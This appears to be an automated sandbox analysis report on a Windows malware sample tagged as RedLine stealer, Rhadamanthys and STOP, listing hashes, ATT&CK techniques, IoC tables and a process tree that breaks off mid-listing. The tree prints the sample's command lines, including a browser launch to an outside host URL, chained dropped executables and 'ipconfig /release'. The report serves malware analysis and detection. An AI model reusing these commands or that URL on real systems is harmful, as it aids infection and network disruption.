3517d20af705312c5c3efe2ea6d276a66146457f5a43fa241e2ad337536236f5

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/10/2026, 22:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample261003-2aaplayare
SHA256 3517d20af705312c5c3efe2ea6d276a66146457f5a43fa241e2ad337536236f5
MD5 ff890587810b89409f367fc1522107ed
SHA1 33fdafc423430729b6302acee6aaa10c1bf92487
SHA512 95af09340f999ded1668b080801ef84941ef86743038dc61e0fd601d0cbf698f8c2649dfcf8d605623911ada9f70057ecf970aadc1360d302f7da8bf290d30f1
SSDEEP 3072:FGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:kXY4LK+a3lLNngoqRttA7
TLSH
T17734490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
1540	CP.exe
4336	sqlidbvtnl.exe
2060	CP.exe
3240	CP.exe
4436	i_sqlidbvtnl.exe
4168	qoigaysqli.sys
1732	CP.exe
2644	avsnlfdxvq.exe
3260	CP.exe
2116	CP.exe
3560	i_avsnlfdxvq.exe
4220	cavsnlfdxv.sys
1804	CP.exe
2872	vqkicausnk.exe
1948	CP.exe
3904	CP.exe
2128	i_vqkicausnk.exe
744	spkicausnk.sys
2488	CP.exe
2620	kfcxvpnhfz.exe
3980	CP.exe
2876	CP.exe
4392	i_kfcxvpnhfz.exe
2076	kecxupmhfz.sys
3884	CP.exe
3420	zurmkecwuo.exe
4936	CP.exe
2572	CP.exe
2236	i_zurmkecwuo.exe
1504	cwupmhezxr.sys
1396	CP.exe
4876	jeurmjebwu.exe
780	CP.exe
3056	CP.exe
4416	i_jeurmjebwu.exe
5016	bztrljebwu.sys
3560	CP.exe
1228	trmjeuomge.exe
1048	CP.exe
4136	CP.exe
4828	i_trmjeuomge.exe
1300	omgeywqojg.sys
2244	CP.exe
4688	gbytrljdbv.exe
3512	CP.exe
3244	CP.exe
2384	i_gbytrljdbv.exe
4912	dbvtnlfdyv.sys
3972	CP.exe
904	vtnlgdywql.exe
1220	CP.exe
1392	CP.exe
4000	i_vtnlgdywql.exe
1736	dyvqoiysqk.sys
3836	CP.exe
3924	kfdyvqniga.exe
4580	CP.exe
2856	CP.exe
4180	i_kfdyvqniga.exe
4948	vsnlfdxvpn.sys
5040	CP.exe
4764	nifaqkicau.exe
220	CP.exe
3720	CP.exe

System Location Discovery: System Language Discovery 1 TTPs 43 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avsnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_avsnlfdxvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfdyvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupnhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqkidavtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zurmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gbytrljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dywqoigayt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_sqlidbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vqkicausnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfcxvpnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jeurmjebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trmjeuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifaqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhbzurmk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gbytrljdbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlgdywql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfdyvqniga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlfdysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkicausnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vqkicausnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jeurmjebwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgezwjgbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkicausnkf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	faxspkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupnhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlfdysqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqkidavtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_faxspkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sqlidbvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zurmkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trmjeuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlgdywql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dywqoigayt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfcxvpnhfz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifaqkicau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgezwjgbz.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2544	ipconfig.exe
1160	ipconfig.exe
3296	ipconfig.exe
2936	ipconfig.exe
4984	ipconfig.exe
4440	ipconfig.exe
176	ipconfig.exe
2128	ipconfig.exe
4776	ipconfig.exe
680	ipconfig.exe
2444	ipconfig.exe
332	ipconfig.exe
2236	ipconfig.exe
4716	ipconfig.exe
1504	ipconfig.exe
5004	ipconfig.exe
4908	ipconfig.exe
3056	ipconfig.exe
3952	ipconfig.exe
2932	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00dcfe188e53dd01	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = f00706198e53dd01	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31282053"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3071097041"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000592c972055b30f42897d4dd4c712190b00000000020000000000106600000001000020000000b802902960f80af9c7c4fdd35adabc7801bfa3e10bd1344e9d5b3a51e9d03447000000000e80000000020000200000005fe126bced2c2c6569dd819c5d7d750be54e016239da1d5934169423fece8b242000000003fd9a9a5441d900698855683c10c6d84cbc7dd504a33b2c8b66ba86eb4cfa8640000000e61f2cfe033ff3efebc661cb2b25985f7c132db756d717d0ada5777372def2a9b9f61ace91018a2c160e5520a655f8758ff993261fc4ed55b264b691abbf19c8	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{E1FA5FB3-BF78-11F1-9982-66DCEFAAD7CC} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3062347407"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "31282053"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000592c972055b30f42897d4dd4c712190b000000000200000000001066000000010000200000005e96191e0f60d6f8ff36e415826c19f9732f9541b7e25e18f320fee7c880128b000000000e800000000200002000000092f19a6d58546017bd8e5af30c3708e749140f13f27b55c1263213fa6570e525200000004020a12f3f0a5048f5b498bfc8ffd6fbf567601b22edbb6b908eabce6e244e6740000000f508e32d53f1afeda496491ffcf637a778f5e7fedd7c816b6acb88a4ba35d293395c52a064ba0165195b77ba8dedd49f915f5854bc813360f4f1ec6d1b4af796	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "497831108"	iexplore.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	4436	i_sqlidbvtnl.exe
Token: SeDebugPrivilege	3560	i_avsnlfdxvq.exe
Token: SeDebugPrivilege	2128	i_vqkicausnk.exe
Token: SeDebugPrivilege	4392	i_kfcxvpnhfz.exe
Token: SeDebugPrivilege	2236	i_zurmkecwuo.exe
Token: SeDebugPrivilege	4416	i_jeurmjebwu.exe
Token: SeDebugPrivilege	4828	i_trmjeuomge.exe
Token: SeDebugPrivilege	2384	i_gbytrljdbv.exe
Token: SeDebugPrivilege	4000	i_vtnlgdywql.exe
Token: SeDebugPrivilege	4180	i_kfdyvqniga.exe
Token: SeDebugPrivilege	4168	i_nifaqkicau.exe
Token: SeDebugPrivilege	5048	i_faxspkicau.exe
Token: SeDebugPrivilege	2108	i_xupnhfzxrp.exe
Token: SeDebugPrivilege	2412	i_rpjhbzurmk.exe
Token: SeDebugPrivilege	992	i_omgezwjgbz.exe
Token: SeDebugPrivilege	3620	i_jdbwtomgey.exe
Token: SeDebugPrivilege	1872	i_dywqoigayt.exe
Token: SeDebugPrivilege	2560	i_vtnlfdysqk.exe
Token: SeDebugPrivilege	3968	i_ysqkidavtn.exe
Token: SeDebugPrivilege	2848	i_qkicausnkf.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3832	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3832	iexplore.exe
3832	iexplore.exe
4644	IEXPLORE.EXE
4644	IEXPLORE.EXE
4644	IEXPLORE.EXE
4644	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 61 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 3832	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	85
PID 3832 wrote to memory of 4644	3832	iexplore.exe	86
PID 4812 wrote to memory of 1540	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	92
PID 4336 wrote to memory of 2060	4336	sqlidbvtnl.exe	95
PID 4812 wrote to memory of 3240	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	102
PID 4812 wrote to memory of 1732	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	110
PID 2644 wrote to memory of 3260	2644	avsnlfdxvq.exe	112
PID 4812 wrote to memory of 2116	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	115
PID 4812 wrote to memory of 1804	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	119
PID 2872 wrote to memory of 1948	2872	vqkicausnk.exe	121
PID 4812 wrote to memory of 3904	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	124
PID 4812 wrote to memory of 2488	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	128
PID 2620 wrote to memory of 3980	2620	kfcxvpnhfz.exe	130
PID 4812 wrote to memory of 2876	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	133
PID 4812 wrote to memory of 3884	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	140
PID 3420 wrote to memory of 4936	3420	zurmkecwuo.exe	142
PID 4812 wrote to memory of 2572	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	145
PID 4812 wrote to memory of 1396	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	156
PID 4876 wrote to memory of 780	4876	jeurmjebwu.exe	158
PID 4812 wrote to memory of 3056	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	161
PID 4812 wrote to memory of 3560	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	165
PID 4812 wrote to memory of 4136	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	170
PID 4812 wrote to memory of 2244	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	174
PID 4688 wrote to memory of 3512	4688	gbytrljdbv.exe	176
PID 4812 wrote to memory of 3244	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	179
PID 4812 wrote to memory of 3972	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	183
PID 904 wrote to memory of 1220	904	vtnlgdywql.exe	185
PID 4812 wrote to memory of 1392	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	188
PID 4812 wrote to memory of 3836	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	192
PID 3924 wrote to memory of 4580	3924	kfdyvqniga.exe	194
PID 4812 wrote to memory of 2856	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	197
PID 4812 wrote to memory of 5040	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	203
PID 4764 wrote to memory of 220	4764	nifaqkicau.exe	205
PID 4812 wrote to memory of 3720	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	208
PID 4812 wrote to memory of 2540	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	212
PID 4508 wrote to memory of 4648	4508	faxspkicau.exe	214
PID 4812 wrote to memory of 1820	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	217
PID 4812 wrote to memory of 1180	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	221
PID 3468 wrote to memory of 4048	3468	xupnhfzxrp.exe	223
PID 4812 wrote to memory of 2780	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	226
PID 4812 wrote to memory of 1268	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	230
PID 3084 wrote to memory of 3480	3084	rpjhbzurmk.exe	232
PID 4812 wrote to memory of 3272	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	235
PID 4812 wrote to memory of 4780	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	239
PID 4236 wrote to memory of 3936	4236	omgezwjgbz.exe	241
PID 4812 wrote to memory of 4768	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	245
PID 4812 wrote to memory of 1764	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	249
PID 4616 wrote to memory of 816	4616	jdbwtomgey.exe	251
PID 4812 wrote to memory of 3200	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	254
PID 4812 wrote to memory of 2724	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	258
PID 512 wrote to memory of 4948	512	dywqoigayt.exe	260
PID 4812 wrote to memory of 2416	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	263
PID 4812 wrote to memory of 872	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	267
PID 2156 wrote to memory of 2892	2156	vtnlfdysqk.exe	269
PID 4812 wrote to memory of 2920	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	272
PID 4812 wrote to memory of 2732	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	276
PID 1052 wrote to memory of 3396	1052	ysqkidavtn.exe	278
PID 4812 wrote to memory of 1280	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	281
PID 4812 wrote to memory of 3620	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	285
PID 3616 wrote to memory of 4708	3616	qkicausnkf.exe	287
PID 4812 wrote to memory of 1512	4812	2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe	290

C:\Users\Admin\AppData\Local\Temp\2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-03_ff890587810b89409f367fc1522107ed_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3832
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3832 CREDAT:17410 /prefetch:2
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:4644
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\sqlidbvtnl.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1540
- - C:\Temp\sqlidbvtnl.exe
    C:\Temp\sqlidbvtnl.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4336
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2060
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4908
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_sqlidbvtnl.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3240
- - C:\Temp\i_sqlidbvtnl.exe
    C:\Temp\i_sqlidbvtnl.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4436
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\avsnlfdxvq.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1732
- - C:\Temp\avsnlfdxvq.exe
    C:\Temp\avsnlfdxvq.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2644
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3260
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4776
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_avsnlfdxvq.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2116
- - C:\Temp\i_avsnlfdxvq.exe
    C:\Temp\i_avsnlfdxvq.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3560
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vqkicausnk.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1804
- - C:\Temp\vqkicausnk.exe
    C:\Temp\vqkicausnk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2872
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1948
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2936
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vqkicausnk.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3904
- - C:\Temp\i_vqkicausnk.exe
    C:\Temp\i_vqkicausnk.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2128
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kfcxvpnhfz.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2488
- - C:\Temp\kfcxvpnhfz.exe
    C:\Temp\kfcxvpnhfz.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2620
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3980
